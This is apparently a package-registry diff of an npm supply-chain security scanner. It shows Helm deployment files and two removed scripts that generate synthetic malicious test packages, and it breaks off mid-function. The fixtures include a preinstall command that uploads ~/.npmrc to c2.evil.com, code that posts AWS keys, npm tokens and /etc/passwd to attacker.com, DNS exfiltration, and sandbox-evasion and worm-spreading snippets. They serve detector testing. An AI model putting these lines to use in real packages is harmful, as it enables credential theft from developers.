@lateos/npm-scan 0.18.3 → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (149) hide show
  1. package/CHANGELOG.md +32 -0
  2. package/README.md +864 -826
  3. package/VALIDATION.md +92 -0
  4. package/backend/cra.js +113 -21
  5. package/backend/db/pg-schema.sql +155 -0
  6. package/backend/db.js +18 -10
  7. package/backend/detectors/atk-001-lifecycle.js +5 -5
  8. package/backend/detectors/atk-002-obfusc.js +126 -47
  9. package/backend/detectors/atk-003-creds.js +8 -4
  10. package/backend/detectors/atk-004-persist.js +3 -3
  11. package/backend/detectors/atk-005-exfil.js +8 -4
  12. package/backend/detectors/atk-006-depconf.js +3 -3
  13. package/backend/detectors/atk-007-typosquat.js +64 -10
  14. package/backend/detectors/atk-008-tarball-tamper.js +6 -6
  15. package/backend/detectors/atk-009-dormant-trigger.js +9 -5
  16. package/backend/detectors/atk-010-sandbox-evasion.js +25 -10
  17. package/backend/detectors/atk-011-transitive-prop.js +14 -13
  18. package/backend/detectors/axios-poisoning/d1-version-fingerprint.js +4 -4
  19. package/backend/detectors/axios-poisoning/d2-decoy-dep.js +5 -1
  20. package/backend/detectors/axios-poisoning/d3-postinstall-rat.js +64 -19
  21. package/backend/detectors/axios-poisoning/index.js +77 -60
  22. package/backend/detectors/config/thresholds.js +111 -0
  23. package/backend/detectors/config/whitelist.json +74 -0
  24. package/backend/detectors/cve-2026-48710-badhost/codePattern.js +26 -9
  25. package/backend/detectors/cve-2026-48710-badhost/findings.js +8 -4
  26. package/backend/detectors/cve-2026-48710-badhost/index.js +1 -1
  27. package/backend/detectors/cve-2026-48710-badhost/manifest.js +127 -39
  28. package/backend/detectors/cve-2026-48710-badhost/transitive.js +87 -28
  29. package/backend/detectors/hf-impersonation/index.js +94 -31
  30. package/backend/detectors/hf-impersonation/jaro-winkler.js +33 -12
  31. package/backend/detectors/hf-impersonation/known-orgs.js +15 -3
  32. package/backend/detectors/hf-impersonation/simhash.js +2 -2
  33. package/backend/detectors/index.js +184 -31
  34. package/backend/detectors/lib/ast-patterns.js +24 -0
  35. package/backend/detectors/lib/entropy-analyzer.js +32 -0
  36. package/backend/detectors/megalodon/d1-workflow-scan.js +40 -16
  37. package/backend/detectors/megalodon/d2-credential-harvest.js +12 -5
  38. package/backend/detectors/megalodon/d3-publish-velocity.js +17 -11
  39. package/backend/detectors/megalodon/d4-publisher-drift.js +48 -16
  40. package/backend/detectors/megalodon/d5-bot-commit-identity.js +1 -1
  41. package/backend/detectors/megalodon/d6-date-anachronism.js +1 -1
  42. package/backend/detectors/megalodon/index.js +35 -25
  43. package/backend/detectors/mini-shai-hulud/d1-burst-publish.js +3 -1
  44. package/backend/detectors/mini-shai-hulud/d2-sibling-compromise.js +22 -10
  45. package/backend/detectors/mini-shai-hulud/d3-slsa-mismatch.js +30 -10
  46. package/backend/detectors/mini-shai-hulud/d4-maintainer-anomaly.js +17 -13
  47. package/backend/detectors/mini-shai-hulud/d5-ioc-check.js +12 -4
  48. package/backend/detectors/mini-shai-hulud/d6-token-exfil.js +6 -2
  49. package/backend/detectors/mini-shai-hulud/index.js +63 -26
  50. package/backend/detectors/msh-supplement/d2-persistence.js +30 -12
  51. package/backend/detectors/msh-supplement/d3-geo-killswitch.js +20 -8
  52. package/backend/detectors/msh-supplement/d4-c2-deaddrop.js +19 -5
  53. package/backend/detectors/msh-supplement/index.js +78 -63
  54. package/backend/detectors/node-ipc-compromise/d1-version-blocklist.js +4 -2
  55. package/backend/detectors/node-ipc-compromise/d10-unauthorized-publisher.js +9 -5
  56. package/backend/detectors/node-ipc-compromise/d11-blast-radius.js +7 -3
  57. package/backend/detectors/node-ipc-compromise/d2-tarball-hash.js +9 -4
  58. package/backend/detectors/node-ipc-compromise/d3-cjs-payload-injection.js +7 -5
  59. package/backend/detectors/node-ipc-compromise/d4-injected-payload-hash.js +4 -2
  60. package/backend/detectors/node-ipc-compromise/d5-dns-c2-pattern.js +13 -10
  61. package/backend/detectors/node-ipc-compromise/d7-dns-txt-exfil.js +3 -1
  62. package/backend/detectors/node-ipc-compromise/d8-runtime-trigger.js +5 -2
  63. package/backend/detectors/node-ipc-compromise/index.js +21 -15
  64. package/backend/detectors/tier1-binary-embed.js +138 -41
  65. package/backend/detectors/tier1-cloud-imds.js +57 -37
  66. package/backend/detectors/tier1-encrypted-c2.js +198 -0
  67. package/backend/detectors/tier1-infostealer.js +121 -68
  68. package/backend/detectors/tier1-lifecycle-hook.js +63 -23
  69. package/backend/detectors/tier1-maintainer-compromise.js +157 -0
  70. package/backend/detectors/tier1-metadata-spoof.js +92 -42
  71. package/backend/detectors/tier1-multistage-postinstall.js +46 -19
  72. package/backend/detectors/tier1-obfuscation-heuristics.js +184 -0
  73. package/backend/detectors/tier1-self-propagation.js +115 -0
  74. package/backend/detectors/tier1-slsa-attestation.js +12 -0
  75. package/backend/detectors/tier1-transitive-deps.js +182 -0
  76. package/backend/detectors/tier1-typosquat.js +129 -50
  77. package/backend/detectors/tier1-version-anomaly.js +223 -0
  78. package/backend/detectors/tier1-version-confusion.js +79 -59
  79. package/backend/detectors/trapdoor/d1-campaign-marker.js +3 -1
  80. package/backend/detectors/trapdoor/d2-payload-fingerprint.js +1 -1
  81. package/backend/detectors/trapdoor/d3-publisher-blocklist.js +4 -3
  82. package/backend/detectors/trapdoor/d4-gists-exfil.js +4 -2
  83. package/backend/detectors/trapdoor/d5-ai-poisoning.js +5 -3
  84. package/backend/detectors/trapdoor/d6-lure-name.js +12 -7
  85. package/backend/detectors/trapdoor/d7-crypto-primitives.js +2 -2
  86. package/backend/detectors/trapdoor/d8-xor-key.js +7 -2
  87. package/backend/detectors/trapdoor/d9-cred-validation.js +4 -5
  88. package/backend/detectors/trapdoor/index.js +19 -14
  89. package/backend/detectors/typosquat-vpmdhaj/d1-maintainer.js +32 -8
  90. package/backend/detectors/typosquat-vpmdhaj/d2-preinstall-loader.js +5 -3
  91. package/backend/detectors/typosquat-vpmdhaj/d3-cred-exfil.js +34 -12
  92. package/backend/detectors/typosquat-vpmdhaj/index.js +78 -59
  93. package/backend/detectors.test.js +147 -0
  94. package/backend/fetch.js +37 -29
  95. package/backend/index.js +1 -1
  96. package/backend/license.js +20 -4
  97. package/backend/lockfile.js +60 -36
  98. package/backend/pdf.js +107 -28
  99. package/backend/policy.js +183 -56
  100. package/backend/provenance.js +28 -3
  101. package/backend/report.js +136 -70
  102. package/backend/sbom.js +33 -27
  103. package/backend/scripts/analyze-false-positives.js +152 -0
  104. package/backend/scripts/analyze-validation.js +157 -0
  105. package/backend/scripts/detect-false-positives.js +103 -0
  106. package/backend/scripts/fetch-top-packages.js +277 -0
  107. package/backend/scripts/validate-d10-d13.js +103 -0
  108. package/backend/scripts/validate-detectors.js +151 -0
  109. package/backend/siem/cef.js +23 -21
  110. package/backend/siem/ecs.js +3 -3
  111. package/backend/siem/index.js +1 -1
  112. package/backend/siem/qradar.js +3 -3
  113. package/backend/siem/sentinel.js +2 -2
  114. package/backend/tests-d5-enhanced.test.js +47 -0
  115. package/backend/tests-d6-version-anomaly.test.js +67 -0
  116. package/backend/tests-d6.test.js +126 -0
  117. package/backend/tests-d6c.test.js +119 -0
  118. package/backend/tests-d7-obfuscation.test.js +88 -0
  119. package/backend/tests.test.js +997 -0
  120. package/backend/vsix-scan/detectors/activation-event-risk.js +36 -19
  121. package/backend/vsix-scan/detectors/burst-publish.js +14 -7
  122. package/backend/vsix-scan/detectors/exfil-pattern.js +7 -3
  123. package/backend/vsix-scan/detectors/known-ioc.js +23 -8
  124. package/backend/vsix-scan/detectors/orphan-commit-fetch.js +11 -7
  125. package/backend/vsix-scan/detectors/publisher-anomaly.js +24 -10
  126. package/backend/vsix-scan/index.js +97 -41
  127. package/backend/vsix-scan/marketplace-client.js +29 -13
  128. package/cli/cli.js +154 -64
  129. package/package.json +36 -10
  130. package/.dockerignore +0 -20
  131. package/.husky/pre-commit +0 -1
  132. package/SECURITY.md +0 -73
  133. package/deploy/helm/npm-scan/Chart.yaml +0 -22
  134. package/deploy/helm/npm-scan/templates/_helpers.tpl +0 -9
  135. package/deploy/helm/npm-scan/templates/api.yaml +0 -94
  136. package/deploy/helm/npm-scan/templates/ingress.yaml +0 -28
  137. package/deploy/helm/npm-scan/templates/postgresql.yaml +0 -67
  138. package/deploy/helm/npm-scan/templates/secrets.yaml +0 -19
  139. package/deploy/helm/npm-scan/templates/worker.yaml +0 -32
  140. package/deploy/helm/npm-scan/values.byoc.yaml +0 -75
  141. package/deploy/helm/npm-scan/values.yaml +0 -103
  142. package/scripts/download-corpus.js +0 -30
  143. package/scripts/gen-mal-corpus.js +0 -35
  144. package/scripts/generate-campaign-fixtures.js +0 -170
  145. package/src/config/top-5000.json +0 -87
  146. package/test/fixtures/lockfiles/npm-lock.json +0 -69
  147. package/test/fixtures/lockfiles/pnpm-lock.yaml +0 -118
  148. package/test/fixtures/lockfiles/yarn.lock +0 -104
  149. package/test/fixtures/mock-data.js +0 -69
@@ -1,22 +0,0 @@
1
- apiVersion: v2
2
- name: npm-scan
3
- description: npm supply chain security scanner — BYOC Helm chart for enterprise/government deployments
4
- type: application
5
- version: 1.0.0
6
- appVersion: "1.0.0"
7
- keywords:
8
- - npm
9
- - security
10
- - supply-chain
11
- - scanner
12
- - byoc
13
- - stig
14
- - fips
15
- - soc2
16
- - fedramp
17
- sources:
18
- - https://github.com/lateos-ai/npm-scan
19
- maintainers:
20
- - name: Lateos
21
- email: hello@lateos.ai
22
- dependencies: []
@@ -1,9 +0,0 @@
1
- {{- define "npm-scan.name" -}}
2
- {{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }}
3
- {{- end }}
4
-
5
- {{- define "npm-scan.labels" -}}
6
- helm.sh/chart: {{ .Chart.Name }}-{{ .Chart.Version }}
7
- app.kubernetes.io/instance: {{ .Release.Name }}
8
- app.kubernetes.io/managed-by: {{ .Release.Service }}
9
- {{- end }}
@@ -1,94 +0,0 @@
1
- apiVersion: apps/v1
2
- kind: Deployment
3
- metadata:
4
- name: {{ include "npm-scan.name" . }}-api
5
- labels:
6
- app: {{ include "npm-scan.name" . }}-api
7
- {{- include "npm-scan.labels" . | nindent 4 }}
8
- annotations:
9
- stig: "SRG-APP-000141"
10
- spec:
11
- replicas: {{ .Values.api.replicas }}
12
- selector:
13
- matchLabels:
14
- app: {{ include "npm-scan.name" . }}-api
15
- template:
16
- metadata:
17
- labels:
18
- app: {{ include "npm-scan.name" . }}-api
19
- spec:
20
- containers:
21
- - name: api
22
- image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
23
- imagePullPolicy: {{ .Values.image.pullPolicy }}
24
- command: ["node", "cli/cli.js", "serve"]
25
- ports:
26
- - containerPort: {{ .Values.api.port }}
27
- env:
28
- - name: API_PORT
29
- value: "{{ .Values.api.port }}"
30
- - name: API_HOST
31
- value: "{{ .Values.api.host }}"
32
- - name: NPM_SCAN_LICENSE_KEY
33
- valueFrom:
34
- secretKeyRef:
35
- name: {{ include "npm-scan.name" . }}-license
36
- key: key
37
- optional: true
38
- - name: NPM_SCAN_PREMIUM
39
- value: "{{ .Values.premium.enabled }}"
40
- {{- if .Values.premium.byoc.enabled }}
41
- - name: NPM_SCAN_BYOC
42
- value: "true"
43
- - name: NPM_SCAN_CLOUD_PROVIDER
44
- value: "{{ .Values.premium.byoc.cloudProvider }}"
45
- {{- end }}
46
- {{- if .Values.siem.enabled }}
47
- - name: SIEM_ENABLED
48
- value: "true"
49
- - name: SIEM_TYPE
50
- value: "{{ .Values.siem.type }}"
51
- - name: SIEM_ENDPOINT
52
- value: "{{ .Values.siem.endpoint }}"
53
- - name: SIEM_PORT
54
- value: "{{ .Values.siem.port }}"
55
- {{- end }}
56
- {{- if .Values.sso.enabled }}
57
- - name: SSO_ENABLED
58
- value: "true"
59
- - name: SSO_PROVIDER
60
- value: "{{ .Values.sso.provider }}"
61
- - name: SSO_ISSUER_URL
62
- value: "{{ .Values.sso.issuerUrl }}"
63
- {{- end }}
64
- {{- if .Values.postgresql.enabled }}
65
- - name: PG_HOST
66
- value: "{{ .Values.postgresql.host }}"
67
- - name: PG_PORT
68
- value: "{{ .Values.postgresql.port }}"
69
- - name: PG_DATABASE
70
- value: "{{ .Values.postgresql.database }}"
71
- - name: PG_USERNAME
72
- value: "{{ .Values.postgresql.username }}"
73
- - name: PG_PASSWORD
74
- valueFrom:
75
- secretKeyRef:
76
- name: {{ .Values.postgresql.existingSecret | default (printf "%s-pg" (include "npm-scan.name" .)) }}
77
- key: password
78
- optional: true
79
- {{- end }}
80
- resources: {{- toYaml .Values.api.resources | nindent 12 }}
81
- ---
82
- apiVersion: v1
83
- kind: Service
84
- metadata:
85
- name: {{ include "npm-scan.name" . }}-api
86
- labels:
87
- app: {{ include "npm-scan.name" . }}-api
88
- spec:
89
- type: {{ .Values.service.type }}
90
- ports:
91
- - port: {{ .Values.service.port }}
92
- targetPort: {{ .Values.api.port }}
93
- selector:
94
- app: {{ include "npm-scan.name" . }}-api
@@ -1,28 +0,0 @@
1
- {{- if .Values.ingress.enabled -}}
2
- apiVersion: networking.k8s.io/v1
3
- kind: Ingress
4
- metadata:
5
- name: {{ include "npm-scan.name" . }}
6
- labels: {{- include "npm-scan.labels" . | nindent 4 }}
7
- {{- with .Values.ingress.annotations }}
8
- annotations: {{- toYaml . | nindent 4 }}
9
- {{- end }}
10
- spec:
11
- {{- with .Values.ingress.className }}
12
- ingressClassName: {{ . }}
13
- {{- end }}
14
- rules:
15
- - host: {{ .Values.ingress.host | quote }}
16
- http:
17
- paths:
18
- - path: /
19
- pathType: Prefix
20
- backend:
21
- service:
22
- name: {{ include "npm-scan.name" . }}-api
23
- port:
24
- number: {{ .Values.service.port }}
25
- {{- with .Values.ingress.tls }}
26
- tls: {{- toYaml . | nindent 4 }}
27
- {{- end }}
28
- {{- end }}
@@ -1,67 +0,0 @@
1
- {{- if .Values.postgresql.enabled }}
2
- apiVersion: apps/v1
3
- kind: Deployment
4
- metadata:
5
- name: {{ include "npm-scan.name" . }}-postgresql
6
- labels:
7
- app: {{ include "npm-scan.name" . }}-postgresql
8
- spec:
9
- replicas: 1
10
- selector:
11
- matchLabels:
12
- app: {{ include "npm-scan.name" . }}-postgresql
13
- template:
14
- metadata:
15
- labels:
16
- app: {{ include "npm-scan.name" . }}-postgresql
17
- spec:
18
- containers:
19
- - name: postgresql
20
- image: postgres:16-alpine
21
- ports:
22
- - containerPort: 5432
23
- env:
24
- - name: POSTGRES_DB
25
- value: "{{ .Values.postgresql.database }}"
26
- - name: POSTGRES_USER
27
- value: "{{ .Values.postgresql.username }}"
28
- - name: POSTGRES_PASSWORD
29
- valueFrom:
30
- secretKeyRef:
31
- name: {{ include "npm-scan.name" . }}-pg
32
- key: password
33
- {{- if .Values.persistence.enabled }}
34
- volumeMounts:
35
- - name: data
36
- mountPath: /var/lib/postgresql/data
37
- volumes:
38
- - name: data
39
- persistentVolumeClaim:
40
- claimName: {{ include "npm-scan.name" . }}-pg
41
- {{- end }}
42
- ---
43
- apiVersion: v1
44
- kind: Service
45
- metadata:
46
- name: {{ include "npm-scan.name" . }}-postgresql
47
- spec:
48
- ports:
49
- - port: 5432
50
- selector:
51
- app: {{ include "npm-scan.name" . }}-postgresql
52
- ---
53
- {{- if .Values.persistence.enabled }}
54
- apiVersion: v1
55
- kind: PersistentVolumeClaim
56
- metadata:
57
- name: {{ include "npm-scan.name" . }}-pg
58
- spec:
59
- accessModes: [ReadWriteOnce]
60
- resources:
61
- requests:
62
- storage: {{ .Values.persistence.size }}
63
- {{- with .Values.persistence.storageClass }}
64
- storageClassName: {{ . }}
65
- {{- end }}
66
- {{- end }}
67
- {{- end }}
@@ -1,19 +0,0 @@
1
- apiVersion: v1
2
- kind: Secret
3
- metadata:
4
- name: {{ include "npm-scan.name" . }}-license
5
- labels: {{- include "npm-scan.labels" . | nindent 4 }}
6
- type: Opaque
7
- stringData:
8
- key: "{{ .Values.license.key }}"
9
- ---
10
- {{- if not .Values.postgresql.existingSecret }}
11
- apiVersion: v1
12
- kind: Secret
13
- metadata:
14
- name: {{ include "npm-scan.name" . }}-pg
15
- labels: {{- include "npm-scan.labels" . | nindent 4 }}
16
- type: Opaque
17
- stringData:
18
- password: "{{ .Values.postgresql.password }}"
19
- {{- end }}
@@ -1,32 +0,0 @@
1
- {{- if .Values.worker.enabled }}
2
- apiVersion: apps/v1
3
- kind: Deployment
4
- metadata:
5
- name: {{ include "npm-scan.name" . }}-worker
6
- labels:
7
- app: {{ include "npm-scan.name" . }}-worker
8
- {{- include "npm-scan.labels" . | nindent 4 }}
9
- spec:
10
- replicas: {{ .Values.worker.replicas }}
11
- selector:
12
- matchLabels:
13
- app: {{ include "npm-scan.name" . }}-worker
14
- template:
15
- metadata:
16
- labels:
17
- app: {{ include "npm-scan.name" . }}-worker
18
- spec:
19
- containers:
20
- - name: worker
21
- image: "{{ .Values.image.repository }}:{{ .Values.image.tag }}"
22
- imagePullPolicy: {{ .Values.image.pullPolicy }}
23
- command: ["node", "cli/cli.js"]
24
- env:
25
- - name: NPM_SCAN_LICENSE_KEY
26
- valueFrom:
27
- secretKeyRef:
28
- name: {{ include "npm-scan.name" . }}-license
29
- key: key
30
- optional: true
31
- resources: {{- toYaml .Values.worker.resources | nindent 12 }}
32
- {{- end }}
@@ -1,75 +0,0 @@
1
- # BYOC Enterprise values example
2
- # Deploy to your VPC: helm install -f values.byoc.yaml npm-scan ./
3
-
4
- image:
5
- repository: lateos/npm-scan
6
- tag: "1.0.0"
7
-
8
- premium:
9
- enabled: true
10
- edition: enterprise
11
- byoc:
12
- enabled: true
13
- cloudProvider: aws
14
- vpcId: vpc-0123456789abcdef0
15
- region: us-east-1
16
- clusterName: npm-scan-enterprise
17
- externalDb: true
18
- externalRedis: true
19
-
20
- license:
21
- key: "npm-scan-enterprise-XXXXX.YOUR-SIGNATURE-HERE"
22
- secret: "your-license-secret"
23
-
24
- siem:
25
- enabled: true
26
- type: cef
27
- endpoint: log-collector.your-company.com
28
- port: 514
29
- protocol: tcp
30
-
31
- pdf:
32
- enabled: true
33
-
34
- sso:
35
- enabled: true
36
- provider: oidc
37
- clientId: npm-scan-enterprise
38
- issuerUrl: https://sso.your-company.com/realms/enterprise
39
-
40
- postgresql:
41
- enabled: false
42
- host: your-rds-endpoint.rds.amazonaws.com
43
- port: 5432
44
- database: npm_scan
45
- username: npm_scan
46
- password: ""
47
-
48
- redis:
49
- enabled: false
50
- host: your-redis-endpoint.cache.amazonaws.com
51
- port: 6379
52
-
53
- ingress:
54
- enabled: true
55
- className: nginx
56
- host: npm-scan.your-company.com
57
- tls:
58
- - secretName: npm-scan-tls
59
- hosts:
60
- - npm-scan.your-company.com
61
-
62
- persistence:
63
- enabled: true
64
- size: 50Gi
65
- storageClass: gp3
66
-
67
- worker:
68
- replicas: 4
69
- resources:
70
- requests:
71
- cpu: 500m
72
- memory: 1Gi
73
- limits:
74
- cpu: 2
75
- memory: 2Gi
@@ -1,103 +0,0 @@
1
- # Helm values for npm-scan BYOC
2
- # Override per environment: helm install -f values-prod.yaml
3
-
4
- image:
5
- repository: lateos/npm-scan
6
- tag: latest
7
- pullPolicy: Always
8
-
9
- replicaCount: 1
10
-
11
- license:
12
- key: ""
13
- secret: ""
14
-
15
- premium:
16
- enabled: false
17
- edition: premium
18
- byoc:
19
- enabled: false
20
- cloudProvider: ""
21
- vpcId: ""
22
- region: ""
23
- clusterName: ""
24
- externalDb: true
25
- externalRedis: true
26
-
27
- siem:
28
- enabled: false
29
- type: cef
30
- endpoint: ""
31
- port: 514
32
- protocol: tcp
33
- apiKey: ""
34
-
35
- pdf:
36
- enabled: false
37
-
38
- sso:
39
- enabled: false
40
- provider: oidc
41
- clientId: ""
42
- clientSecret: ""
43
- issuerUrl: ""
44
- allowedDomains: []
45
-
46
- postgresql:
47
- enabled: true
48
- host: ""
49
- port: 5432
50
- database: npm_scan
51
- username: npm_scan
52
- password: ""
53
- existingSecret: ""
54
-
55
- api:
56
- enabled: true
57
- port: 8000
58
- host: 0.0.0.0
59
- replicas: 1
60
- corsOrigins: ["*"]
61
- resources:
62
- requests:
63
- cpu: 100m
64
- memory: 128Mi
65
- limits:
66
- cpu: 500m
67
- memory: 512Mi
68
-
69
- worker:
70
- enabled: true
71
- replicas: 2
72
- resources:
73
- requests:
74
- cpu: 200m
75
- memory: 256Mi
76
- limits:
77
- cpu: 1
78
- memory: 1Gi
79
-
80
- ingress:
81
- enabled: false
82
- className: ""
83
- annotations: {}
84
- host: npm-scan.example.com
85
- tls: []
86
-
87
- service:
88
- type: ClusterIP
89
- port: 80
90
-
91
- persistence:
92
- enabled: true
93
- size: 10Gi
94
- storageClass: ""
95
-
96
- nodeSelector: {}
97
- tolerations: []
98
- affinity: {}
99
-
100
- redis:
101
- enabled: false
102
- host: ""
103
- port: 6379
@@ -1,30 +0,0 @@
1
- import fetch from 'node-fetch';
2
- import { writeFileSync, existsSync } from 'fs';
3
-
4
- const TOP_PKGS = [
5
- 'lodash', 'chalk', 'react', 'axios', 'express',
6
- 'tslib', 'commander', 'typescript', 'vue', 'next',
7
- 'yargs', 'debug', 'moment', 'uuid', 'semver',
8
- 'rimraf', 'eslint', 'prettier', 'webpack', 'babel-core',
9
- 'underscore', 'request', 'async', 'cheerio', 'bluebird',
10
- 'jest', 'mocha', 'dotenv', 'glob', 'node-fetch',
11
- 'minimist', 'body-parser', 'cors', 'helmet', 'jsonwebtoken',
12
- 'socket.io', 'redis', 'mongoose', 'sequelize', 'pg',
13
- 'passport', 'nodemailer', 'multer', 'bcrypt', 'winston',
14
- 'luxon', 'dayjs', 'class-validator', 'rxjs', 'redux'
15
- ];
16
-
17
- for (const pkg of TOP_PKGS) {
18
- const file = `tests/corpus/clean/${pkg}.tgz`;
19
- if (existsSync(file)) { console.log(`SKIP ${pkg}`); continue; }
20
- try {
21
- const res = await fetch(`https://registry.npmjs.org/${pkg}/latest`);
22
- const meta = await res.json();
23
- const tarRes = await fetch(meta.dist.tarball);
24
- const buf = Buffer.from(await tarRes.arrayBuffer());
25
- writeFileSync(file, buf);
26
- console.log(`OK ${pkg} (${(buf.length/1024).toFixed(0)}KB)`);
27
- } catch (e) {
28
- console.log(`FAIL ${pkg}: ${e.message}`);
29
- }
30
- }
@@ -1,35 +0,0 @@
1
- import { execSync } from 'child_process';
2
- import { writeFileSync, mkdirSync, rmSync } from 'fs';
3
- import { join } from 'path';
4
-
5
- const BASE = '/tmp/npm-scan-mal';
6
-
7
- const MALS = [
8
- { name: 'shai-hulud', pkg: { scripts: { preinstall: 'curl -d @~/.npmrc https://c2.evil.com/x' } }, js: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' },
9
- { name: 'mal-dns-exfil', pkg: {}, js: 'dns.resolve(key + ".exfil.com", (err, addr) => {})' },
10
- { name: 'mal-tamper-1', pkg: { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-mirror.git' } }, js: 'module.exports = { malicious: true }' },
11
- { name: 'mal-tamper-2', pkg: { name: 'react', repository: { url: 'https://github.com/attacker/react-evil.git' } }, js: '// Source: https://evil.com/react/original.js\nmodule.exports = {}' },
12
- { name: 'mal-dormant-1', pkg: {}, js: 'if (process.env.NODE_ENV === "production") { eval(atob("Y29uc29sZS5sb2coJ2V2aWwnKQ==")) }' },
13
- { name: 'mal-dormant-2', pkg: {}, js: 'if (new Date() > new Date("2026-06-01")) { require("./payload.js") }' },
14
- { name: 'mal-dormant-3', pkg: {}, js: 'if (process.env.CI) { process.exit(0) } else { /* malicious */ require("./exploit.js") }' },
15
- { name: 'mal-evasion-1', pkg: {}, js: 'if (os.hostname().includes("docker") || os.hostname().includes("sandbox")) { process.exit(0) }' },
16
- { name: 'mal-evasion-2', pkg: {}, js: 'if (process.argv.join(" ").includes("inspect")) { debugger; /* stop analysis */ }' },
17
- { name: 'mal-evasion-3', pkg: {}, js: 'try { throw new Error(); } catch(e) { if (e.stack.includes("sandbox")) { process.exit(0) } }' },
18
- { name: 'mal-prop-1', pkg: { name: '@evil/worm' }, js: 'execSync("npm install ./worm-pkg"); execSync("npm link")' },
19
- { name: 'mal-prop-2', pkg: {}, js: 'fs.writeFileSync("../lodash/node_modules/worm/index.js", "module.exports = { compromised: true }")' },
20
- { name: 'mal-prop-3', pkg: { name: 'worm-pkg' }, js: `const pj = require('../express/package.json'); pj.scripts.install = 'node worm.js'; fs.writeFileSync('../express/package.json', JSON.stringify(pj))` },
21
- ];
22
-
23
- for (const mal of MALS) {
24
- const dir = join(BASE, mal.name);
25
- rmSync(dir, { recursive: true, force: true });
26
- mkdirSync(dir, { recursive: true });
27
- writeFileSync(join(dir, 'package.json'), JSON.stringify({ name: mal.name, version: '1.0.0', ...mal.pkg }));
28
- if (mal.js) writeFileSync(join(dir, 'index.js'), mal.js);
29
- execSync(`tar czf tests/corpus/malicious/${mal.name}.tgz -C ${BASE} ${mal.name}`);
30
- console.log(`OK ${mal.name}`);
31
- }
32
-
33
- console.log('All mal corpus entries generated.');
34
- console.log('Total:', MALS.length);
35
- console.log('New entries: tamper-1, tamper-2, dormant-1, dormant-2, dormant-3, evasion-1, evasion-2, evasion-3');
@@ -1,170 +0,0 @@
1
- import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'fs';
2
- import { execSync } from 'child_process';
3
- import { tmpdir } from 'os';
4
- import { join } from 'path';
5
- import { fileURLToPath } from 'url';
6
- import { dirname } from 'path';
7
-
8
- const __dirname = dirname(fileURLToPath(import.meta.url));
9
- const CORPUS_DIR = join(__dirname, '..', 'tests', 'corpus', 'malicious');
10
-
11
- const TOP_TYPOS = [
12
- 'reacct', 'expres', 'axiox', 'chlak', 'vuue', 'typescrip',
13
- 'momnet', 'uuuid', 'commnder', 'debuge', 'semverr', 'underscoree',
14
- 'requesst', 'asycn',
15
- ];
16
-
17
- const BINARY_NAMES = ['bun', 'deno', 'go', 'rustc', 'python'];
18
-
19
- function writeFile(filePath, content) {
20
- writeFileSync(filePath, content, 'utf8');
21
- }
22
-
23
- function createElfBinary(size = 4096) {
24
- const buf = Buffer.alloc(size, 0);
25
- buf[0] = 0x7f;
26
- buf[1] = 0x45;
27
- buf[2] = 0x4c;
28
- buf[3] = 0x46;
29
- buf[4] = 2;
30
- buf[5] = 1;
31
- buf[6] = 1;
32
- buf[7] = 0;
33
- return buf;
34
- }
35
-
36
- function createPeBinary(size = 4096) {
37
- const buf = Buffer.alloc(size, 0);
38
- buf[0] = 0x4d;
39
- buf[1] = 0x5a;
40
- return buf;
41
- }
42
-
43
- function buildTarball(dir, tmpParent) {
44
- const tgzPath = join(CORPUS_DIR, `${dir}.tgz`);
45
- execSync(`tar czf "${tgzPath}" -C "${tmpParent}" "${dir}"`, { stdio: 'pipe', shell: 'powershell' });
46
- }
47
-
48
- function createCampaign1Package(n) {
49
- const dir = `campaign-1-${String(n).padStart(3, '0')}`;
50
- const pkgJson = {
51
- name: `vulnerable-package-${n}`,
52
- version: '99.0.0',
53
- description: 'Campaign 1 test fixture',
54
- repository: { url: 'https://github.enterprise.internal/org/repo' },
55
- homepage: 'https://jira.internal/browse/PROJ-123',
56
- bugs: { url: 'https://docs.internal/issues' },
57
- scripts: {
58
- postinstall: 'node -e "eval(Buffer.from(\'dmFyIHggPSAx\' ,\'base64\').toString())"',
59
- },
60
- };
61
-
62
- const distIndexJs = `(function() {
63
- const os = require('os');
64
- const env = process.env;
65
- const profile = {
66
- hostname: os.hostname(),
67
- platform: os.platform(),
68
- arch: os.arch(),
69
- env: { AWS_ACCESS_KEY_ID: env.AWS_ACCESS_KEY_ID }
70
- };
71
- console.log('[RECON]', JSON.stringify(profile));
72
- })();`;
73
-
74
- const tmpParent = mkdtempSync(join(tmpdir(), 'camp1-'));
75
- const pkgDir = join(tmpParent, dir);
76
- mkdirSync(join(pkgDir, 'dist'), { recursive: true });
77
- writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
78
- writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
79
-
80
- buildTarball(dir, tmpParent);
81
- rmSync(tmpParent, { recursive: true, force: true });
82
- console.log(` Created ${dir}.tgz`);
83
- }
84
-
85
- function createCampaign2Package(n) {
86
- const dir = `campaign-2-${String(n).padStart(3, '0')}`;
87
- const typoName = TOP_TYPOS[(n - 1) % TOP_TYPOS.length];
88
- const binName = BINARY_NAMES[(n - 1) % BINARY_NAMES.length];
89
-
90
- const pkgJson = {
91
- name: typoName,
92
- version: '1.0.0',
93
- description: 'Test fixture',
94
- };
95
-
96
- const distIndexJs = `const fs = require('fs');
97
- const { execSync } = require('child_process');
98
- const awsKey = process.env.AWS_ACCESS_KEY_ID;
99
- const npmToken = process.env.NODE_AUTH_TOKEN;
100
- const data = fs.readFileSync('/etc/passwd', 'utf8');
101
- if (awsKey || npmToken) {
102
- fetch('https://attacker.com/creds', {
103
- method: 'POST',
104
- body: JSON.stringify({ awsKey, npmToken, data })
105
- });
106
- }`;
107
-
108
- const tmpParent = mkdtempSync(join(tmpdir(), 'camp2-'));
109
- const pkgDir = join(tmpParent, dir);
110
- mkdirSync(join(pkgDir, 'dist'), { recursive: true });
111
- mkdirSync(join(pkgDir, 'bin'), { recursive: true });
112
- writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
113
- writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
114
-
115
- writeFileSync(join(pkgDir, 'bin', binName), createElfBinary(32768));
116
- writeFileSync(join(pkgDir, 'bin', `${binName}.exe`), createPeBinary(32768));
117
-
118
